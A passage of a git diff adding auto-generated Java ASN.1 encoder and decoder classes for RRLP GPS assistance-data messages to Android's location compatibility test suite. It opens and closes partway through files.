+ * Creates a new velocityRequestedType from encoded stream.
+ */
+ public static velocityRequestedType fromPerUnaligned(byte[] encodedBytes) {
+ velocityRequestedType result = new velocityRequestedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new velocityRequestedType from encoded stream.
+ */
+ public static velocityRequestedType fromPerAligned(byte[] encodedBytes) {
+ velocityRequestedType result = new velocityRequestedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "velocityRequestedType (null value);\n";
+ }
+}
+
+
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssCarrierPhaseMeasurementRequestType extends Asn1Null {
+ //
+
+ private static final Asn1Tag TAG_ganssCarrierPhaseMeasurementRequestType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssCarrierPhaseMeasurementRequestType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssCarrierPhaseMeasurementRequestType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssCarrierPhaseMeasurementRequestType != null) {
+ return ImmutableList.of(TAG_ganssCarrierPhaseMeasurementRequestType);
+ } else {
+ return Asn1Null.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssCarrierPhaseMeasurementRequestType from encoded stream.
+ */
+ public static ganssCarrierPhaseMeasurementRequestType fromPerUnaligned(byte[] encodedBytes) {
+ ganssCarrierPhaseMeasurementRequestType result = new ganssCarrierPhaseMeasurementRequestType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssCarrierPhaseMeasurementRequestType from encoded stream.
+ */
+ public static ganssCarrierPhaseMeasurementRequestType fromPerAligned(byte[] encodedBytes) {
+ ganssCarrierPhaseMeasurementRequestType result = new ganssCarrierPhaseMeasurementRequestType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssCarrierPhaseMeasurementRequestType (null value);\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssTODGSMTimeAssociationMeasurementRequestType extends Asn1Null {
+ //
+
+ private static final Asn1Tag TAG_ganssTODGSMTimeAssociationMeasurementRequestType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssTODGSMTimeAssociationMeasurementRequestType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssTODGSMTimeAssociationMeasurementRequestType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssTODGSMTimeAssociationMeasurementRequestType != null) {
+ return ImmutableList.of(TAG_ganssTODGSMTimeAssociationMeasurementRequestType);
+ } else {
+ return Asn1Null.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssTODGSMTimeAssociationMeasurementRequestType from encoded stream.
+ */
+ public static ganssTODGSMTimeAssociationMeasurementRequestType fromPerUnaligned(byte[] encodedBytes) {
+ ganssTODGSMTimeAssociationMeasurementRequestType result = new ganssTODGSMTimeAssociationMeasurementRequestType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssTODGSMTimeAssociationMeasurementRequestType from encoded stream.
+ */
+ public static ganssTODGSMTimeAssociationMeasurementRequestType fromPerAligned(byte[] encodedBytes) {
+ ganssTODGSMTimeAssociationMeasurementRequestType result = new ganssTODGSMTimeAssociationMeasurementRequestType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssTODGSMTimeAssociationMeasurementRequestType (null value);\n";
+ }
+}
+
+
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssMultiFreqMeasurementRequestType extends Asn1Null {
+ //
+
+ private static final Asn1Tag TAG_ganssMultiFreqMeasurementRequestType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssMultiFreqMeasurementRequestType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssMultiFreqMeasurementRequestType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssMultiFreqMeasurementRequestType != null) {
+ return ImmutableList.of(TAG_ganssMultiFreqMeasurementRequestType);
+ } else {
+ return Asn1Null.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssMultiFreqMeasurementRequestType from encoded stream.
+ */
+ public static ganssMultiFreqMeasurementRequestType fromPerUnaligned(byte[] encodedBytes) {
+ ganssMultiFreqMeasurementRequestType result = new ganssMultiFreqMeasurementRequestType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssMultiFreqMeasurementRequestType from encoded stream.
+ */
+ public static ganssMultiFreqMeasurementRequestType fromPerAligned(byte[] encodedBytes) {
+ ganssMultiFreqMeasurementRequestType result = new ganssMultiFreqMeasurementRequestType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssMultiFreqMeasurementRequestType (null value);\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Rel7_MsrPosition_Req_Extension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel98_AssistanceData_Extension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel98_AssistanceData_Extension.java
new file mode 100755
index 0000000..8eabb93
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel98_AssistanceData_Extension.java
@@ -0,0 +1,423 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Rel98_AssistanceData_Extension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Rel98_AssistanceData_Extension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Rel98_AssistanceData_Extension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Rel98_AssistanceData_Extension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Rel98_AssistanceData_Extension != null) {
+ return ImmutableList.of(TAG_Rel98_AssistanceData_Extension);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Rel98_AssistanceData_Extension from encoded stream.
+ */
+ public static Rel98_AssistanceData_Extension fromPerUnaligned(byte[] encodedBytes) {
+ Rel98_AssistanceData_Extension result = new Rel98_AssistanceData_Extension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Rel98_AssistanceData_Extension from encoded stream.
+ */
+ public static Rel98_AssistanceData_Extension fromPerAligned(byte[] encodedBytes) {
+ Rel98_AssistanceData_Extension result = new Rel98_AssistanceData_Extension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Rel98_Ext_ExpOTD rel98_Ext_ExpOTD_;
+ public Rel98_Ext_ExpOTD getRel98_Ext_ExpOTD() {
+ return rel98_Ext_ExpOTD_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Rel98_Ext_ExpOTD
+ */
+ public void setRel98_Ext_ExpOTD(Asn1Object value) {
+ this.rel98_Ext_ExpOTD_ = (Rel98_Ext_ExpOTD) value;
+ }
+ public Rel98_Ext_ExpOTD setRel98_Ext_ExpOTDToNewInstance() {
+ rel98_Ext_ExpOTD_ = new Rel98_Ext_ExpOTD();
+ return rel98_Ext_ExpOTD_;
+ }
+
+
+
+ private Rel98_AssistanceData_Extension.gpsTimeAssistanceMeasurementRequestType extensionGpsTimeAssistanceMeasurementRequest;
+ public Rel98_AssistanceData_Extension.gpsTimeAssistanceMeasurementRequestType getExtensionGpsTimeAssistanceMeasurementRequest() {
+ return extensionGpsTimeAssistanceMeasurementRequest;
+ }
+ /**
+ * @throws ClassCastException if value is not a Rel98_AssistanceData_Extension.gpsTimeAssistanceMeasurementRequestType
+ */
+ public void setExtensionGpsTimeAssistanceMeasurementRequest(Asn1Object value) {
+ extensionGpsTimeAssistanceMeasurementRequest = (Rel98_AssistanceData_Extension.gpsTimeAssistanceMeasurementRequestType) value;
+ }
+ public void setExtensionGpsTimeAssistanceMeasurementRequestToNewInstance() {
+ extensionGpsTimeAssistanceMeasurementRequest = new Rel98_AssistanceData_Extension.gpsTimeAssistanceMeasurementRequestType();
+ }
+
+ private GPSReferenceTimeUncertainty extensionGpsReferenceTimeUncertainty;
+ public GPSReferenceTimeUncertainty getExtensionGpsReferenceTimeUncertainty() {
+ return extensionGpsReferenceTimeUncertainty;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSReferenceTimeUncertainty
+ */
+ public void setExtensionGpsReferenceTimeUncertainty(Asn1Object value) {
+ extensionGpsReferenceTimeUncertainty = (GPSReferenceTimeUncertainty) value;
+ }
+ public void setExtensionGpsReferenceTimeUncertaintyToNewInstance() {
+ extensionGpsReferenceTimeUncertainty = new GPSReferenceTimeUncertainty();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRel98_Ext_ExpOTD() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRel98_Ext_ExpOTD();
+ }
+
+ @Override public void setToNewInstance() {
+ setRel98_Ext_ExpOTDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Rel98_Ext_ExpOTD.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rel98_Ext_ExpOTD : "
+ + getRel98_Ext_ExpOTD().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionGpsTimeAssistanceMeasurementRequest() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionGpsTimeAssistanceMeasurementRequest();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionGpsTimeAssistanceMeasurementRequestToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsTimeAssistanceMeasurementRequest : "
+ + getExtensionGpsTimeAssistanceMeasurementRequest().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionGpsReferenceTimeUncertainty() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionGpsReferenceTimeUncertainty();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionGpsReferenceTimeUncertaintyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsReferenceTimeUncertainty : "
+ + getExtensionGpsReferenceTimeUncertainty().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gpsTimeAssistanceMeasurementRequestType extends Asn1Null {
+ //
+
+ private static final Asn1Tag TAG_gpsTimeAssistanceMeasurementRequestType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gpsTimeAssistanceMeasurementRequestType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gpsTimeAssistanceMeasurementRequestType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gpsTimeAssistanceMeasurementRequestType != null) {
+ return ImmutableList.of(TAG_gpsTimeAssistanceMeasurementRequestType);
+ } else {
+ return Asn1Null.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gpsTimeAssistanceMeasurementRequestType from encoded stream.
+ */
+ public static gpsTimeAssistanceMeasurementRequestType fromPerUnaligned(byte[] encodedBytes) {
+ gpsTimeAssistanceMeasurementRequestType result = new gpsTimeAssistanceMeasurementRequestType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gpsTimeAssistanceMeasurementRequestType from encoded stream.
+ */
+ public static gpsTimeAssistanceMeasurementRequestType fromPerAligned(byte[] encodedBytes) {
+ gpsTimeAssistanceMeasurementRequestType result = new gpsTimeAssistanceMeasurementRequestType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gpsTimeAssistanceMeasurementRequestType (null value);\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Rel98_AssistanceData_Extension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel98_Ext_ExpOTD.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel98_Ext_ExpOTD.java
new file mode 100755
index 0000000..05cc7ab
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel98_Ext_ExpOTD.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Rel98_Ext_ExpOTD extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Rel98_Ext_ExpOTD
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Rel98_Ext_ExpOTD() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Rel98_Ext_ExpOTD;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Rel98_Ext_ExpOTD != null) {
+ return ImmutableList.of(TAG_Rel98_Ext_ExpOTD);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Rel98_Ext_ExpOTD from encoded stream.
+ */
+ public static Rel98_Ext_ExpOTD fromPerUnaligned(byte[] encodedBytes) {
+ Rel98_Ext_ExpOTD result = new Rel98_Ext_ExpOTD();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Rel98_Ext_ExpOTD from encoded stream.
+ */
+ public static Rel98_Ext_ExpOTD fromPerAligned(byte[] encodedBytes) {
+ Rel98_Ext_ExpOTD result = new Rel98_Ext_ExpOTD();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private MsrAssistData_R98_ExpOTD msrAssistData_R98_ExpOTD_;
+ public MsrAssistData_R98_ExpOTD getMsrAssistData_R98_ExpOTD() {
+ return msrAssistData_R98_ExpOTD_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MsrAssistData_R98_ExpOTD
+ */
+ public void setMsrAssistData_R98_ExpOTD(Asn1Object value) {
+ this.msrAssistData_R98_ExpOTD_ = (MsrAssistData_R98_ExpOTD) value;
+ }
+ public MsrAssistData_R98_ExpOTD setMsrAssistData_R98_ExpOTDToNewInstance() {
+ msrAssistData_R98_ExpOTD_ = new MsrAssistData_R98_ExpOTD();
+ return msrAssistData_R98_ExpOTD_;
+ }
+
+ private SystemInfoAssistData_R98_ExpOTD systemInfoAssistData_R98_ExpOTD_;
+ public SystemInfoAssistData_R98_ExpOTD getSystemInfoAssistData_R98_ExpOTD() {
+ return systemInfoAssistData_R98_ExpOTD_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SystemInfoAssistData_R98_ExpOTD
+ */
+ public void setSystemInfoAssistData_R98_ExpOTD(Asn1Object value) {
+ this.systemInfoAssistData_R98_ExpOTD_ = (SystemInfoAssistData_R98_ExpOTD) value;
+ }
+ public SystemInfoAssistData_R98_ExpOTD setSystemInfoAssistData_R98_ExpOTDToNewInstance() {
+ systemInfoAssistData_R98_ExpOTD_ = new SystemInfoAssistData_R98_ExpOTD();
+ return systemInfoAssistData_R98_ExpOTD_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getMsrAssistData_R98_ExpOTD() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMsrAssistData_R98_ExpOTD();
+ }
+
+ @Override public void setToNewInstance() {
+ setMsrAssistData_R98_ExpOTDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MsrAssistData_R98_ExpOTD.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "msrAssistData_R98_ExpOTD : "
+ + getMsrAssistData_R98_ExpOTD().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSystemInfoAssistData_R98_ExpOTD() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSystemInfoAssistData_R98_ExpOTD();
+ }
+
+ @Override public void setToNewInstance() {
+ setSystemInfoAssistData_R98_ExpOTDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SystemInfoAssistData_R98_ExpOTD.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "systemInfoAssistData_R98_ExpOTD : "
+ + getSystemInfoAssistData_R98_ExpOTD().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Rel98_Ext_ExpOTD = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel98_MsrPosition_Req_Extension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel98_MsrPosition_Req_Extension.java
new file mode 100755
index 0000000..89cc750
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel98_MsrPosition_Req_Extension.java
@@ -0,0 +1,423 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
